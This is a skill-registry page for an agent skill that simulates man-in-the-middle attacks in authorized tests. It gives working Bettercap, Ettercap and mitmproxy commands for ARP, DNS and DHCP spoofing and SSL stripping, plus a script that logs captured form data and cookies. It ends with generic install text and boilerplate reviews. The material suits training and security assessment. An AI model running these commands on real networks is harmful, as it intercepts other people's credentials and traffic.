conducting-man-in-the-middle-attack-simulation▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.
| name | conducting-man-in-the-middle-attack-simulation |
| description | 'Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities. ' |
| domain | cybersecurity |
| subdomain | network-security |
| tags | - network-security - mitm - bettercap - ettercap - mitmproxy |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.IR-01 - DE.CM-01 - ID.AM-03 - PR.DS-02 |
Conducting Man-in-the-Middle Attack Simulation
When to Use
- Testing whether applications properly validate TLS certificates and enforce encrypted communications
- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
- Training incident response teams to identify and respond to MITM attack indicators
Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.
Prerequisites
- Written authorization specifying in-scope targets and approved MITM techniques
- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
- Layer 2 access to the same network segment as target hosts
- Custom CA certificate for TLS interception testing (generated specifically for the engagement)
- Wireshark or tshark for capturing and verifying intercepted traffic
- Isolated lab environment or approved production test window with rollback procedures
Workflow
Step 1: Set Up the Attack Environment
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1
# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
-subj "/CN=MITM Test CA/O=Security Assessment/C=US"
# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"
Step 2: Execute ARP-Based MITM with Bettercap
# Start Bettercap with interactive mode
sudo bettercap -iface eth0
# Enable network probing to discover hosts
> net.probe on
# Display discovered hosts
> net.show
# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
# Start ARP spoofing
> arp.spoof on
# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on
# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on
# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on
Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy
# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
--set ssl_insecure=true -w mitm_capture.flow
# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json
def request(flow: http.HTTPFlow):
if flow.request.method == "POST":
content_type = flow.request.headers.get("content-type", "")
if "form" in content_type or "json" in content_type:
with open("captured_forms.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Data: {flow.request.get_text()}\n")
f.write("---\n")
def response(flow: http.HTTPFlow):
# Log authentication cookies
if "set-cookie" in flow.response.headers:
with open("captured_cookies.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
f.write("---\n")
PYEOF
sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow
Step 4: Perform DNS Spoofing and DHCP Attacks
# DNS spoofing with Ettercap
sudo tee /etc/ettercap/etter.dns << 'EOF'
# Redirect target domain to attacker's web server
example.com A 192.168.1.99
*.example.com A 192.168.1.99
www.example.com A 192.168.1.99
EOF
sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//
# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on
# Set up a phishing page on the attacker machine
sudo python3 -m http.server 80 --directory /var/www/phishing/
Step 5: Validate Detection and Test Controls
# Verify certificate pinning is working on the target application
# If the app rejects the MITM CA, certificate pinning is effective
# Check the target machine for certificate errors
# Test HSTS enforcement
# If browser refuses HTTP connection after initial HTTPS, HSTS is working
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"
# Verify IDS detection of ARP spoofing
# Check Snort/Suricata alerts for ARP anomalies
grep -i "arp" /var/log/snort/alert_fast.txt
# Check if switch detected the attack (DAI logs)
# On Cisco switch: show ip arp inspection log
# Test network monitoring tools
# Verify that Zeek generated appropriate notices
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg
# Capture evidence of successful/failed interception
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300
Step 6: Clean Up and Document Results
# Stop all MITM attacks
# In Bettercap:
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit
# Restore IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
# Remove iptables rules
sudo iptables -t nat -F PREROUTING
# Verify ARP tables are restored on target hosts
# The target should re-learn correct MAC addresses via normal ARP
# Force ARP cache refresh (from target machine)
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# Remove test CA certificate from any systems where it was installed
# Remove capture files containing sensitive data per engagement agreement
# Generate documentation
echo "MITM Simulation completed at $(date)" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt
Key Concepts
| Term | Definition |
|---|---|
| Man-in-the-Middle (MITM) | Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly |
| SSL Stripping | Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption |
| HSTS (HTTP Strict Transport Security) | Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections |
| Certificate Pinning | Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates |
| ARP Cache Poisoning | Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine |
| Transparent Proxy | Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports |
Tools & Systems
- Bettercap 2.x: Swiss-army knife for network attacks supporting ARP/DNS/DHCP spoofing, HTTP/HTTPS proxying, and credential sniffing with a modular architecture
- mitmproxy: Interactive TLS-capable proxy for intercepting, inspecting, and modifying HTTP/HTTPS traffic with Python scripting support
- Ettercap: Legacy MITM tool supporting ARP spoofing, DNS spoofing, and plugin-based traffic manipulation
- sslstrip: Tool that implements SSL stripping attacks by proxying HTTP-to-HTTPS redirects and serving downgraded HTTP versions
- Wireshark: Packet analyzer for verifying traffic interception and capturing evidence of successful or failed MITM attempts
Common Scenarios
Scenario: Testing HTTPS Enforcement on an Internal Web Application
Context: A development team claims their internal web application enforces HTTPS with HSTS and certificate pinning. The security team needs to verify these controls during an authorized assessment. The application runs on 10.10.20.50 and is accessed by workstations on the 10.10.1.0/24 VLAN.
Approach:
- Set up Bettercap on the same VLAN and ARP-spoof a test workstation (10.10.1.100)
- Enable SSL stripping via Bettercap's HTTP proxy to test whether the application can be downgraded to HTTP
- Enable HTTPS interception with a test CA certificate to test certificate validation
- Attempt to access the application from the test workstation and observe whether the browser or application rejects the connection
- Verify that HSTS headers are present and have appropriate max-age values
- Document that the thick client does not implement certificate pinning (accepts the MITM CA) while the web browser properly rejects it due to HSTS preload
- Recommend implementing certificate pinning in the thick client application
Pitfalls:
- Forgetting to enable IP forwarding, causing a denial of service instead of transparent interception
- Testing SSL stripping on an application with HSTS preloaded in the browser and concluding HSTS works, when a fresh browser instance might be vulnerable
- Not cleaning up ARP spoofing after testing, causing intermittent connectivity issues for the target
- Running mitmproxy without the transparent mode flag, requiring manual proxy configuration that changes the test conditions
Output Format
## MITM Simulation Report
**Test ID**: MITM-2024-001
**Date**: 2024-03-15 14:00-16:00 UTC
**Target Application**: https://app.internal.corp (10.10.20.50)
**Test Workstation**: 10.10.1.100
**Attacker Machine**: 10.10.1.99
### Control Validation Results
| Control | Status | Details |
|---------|--------|---------|
| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |
| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |
| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome/Firefox |
| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |
| Cert Pinning (Browser) | N/A | Standard CA validation only |
| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |
| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |
### Recommendations
1. Implement certificate pinning in the thick client (high priority)
2. Add HSTS preload list submission for the domain
3. Enable DAI on access-layer switches for Layer 2 protection
4. Configure application to reject connections from non-pinned certificates
How to use conducting-man-in-the-middle-attack-simulation on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add conducting-man-in-the-middle-attack-simulation
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches conducting-man-in-the-middle-attack-simulation from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate conducting-man-in-the-middle-attack-simulation. Access the skill through slash commands (e.g., /conducting-man-in-the-middle-attack-simulation) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★63 reviews- ★★★★★Daniel Kapoor· Dec 20, 2024
We added conducting-man-in-the-middle-attack-simulation from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Amelia Okafor· Dec 16, 2024
Keeps context tight: conducting-man-in-the-middle-attack-simulation is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Sophia Malhotra· Dec 4, 2024
conducting-man-in-the-middle-attack-simulation is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Sakshi Patil· Nov 23, 2024
Registry listing for conducting-man-in-the-middle-attack-simulation matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Sophia Chawla· Nov 23, 2024
conducting-man-in-the-middle-attack-simulation fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Maya Verma· Nov 19, 2024
Registry listing for conducting-man-in-the-middle-attack-simulation matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Sofia Huang· Nov 19, 2024
conducting-man-in-the-middle-attack-simulation reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Soo Singh· Nov 11, 2024
Keeps context tight: conducting-man-in-the-middle-attack-simulation is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Anaya Verma· Nov 7, 2024
We added conducting-man-in-the-middle-attack-simulation from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Olivia Sanchez· Oct 26, 2024
conducting-man-in-the-middle-attack-simulation fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
showing 1-10 of 63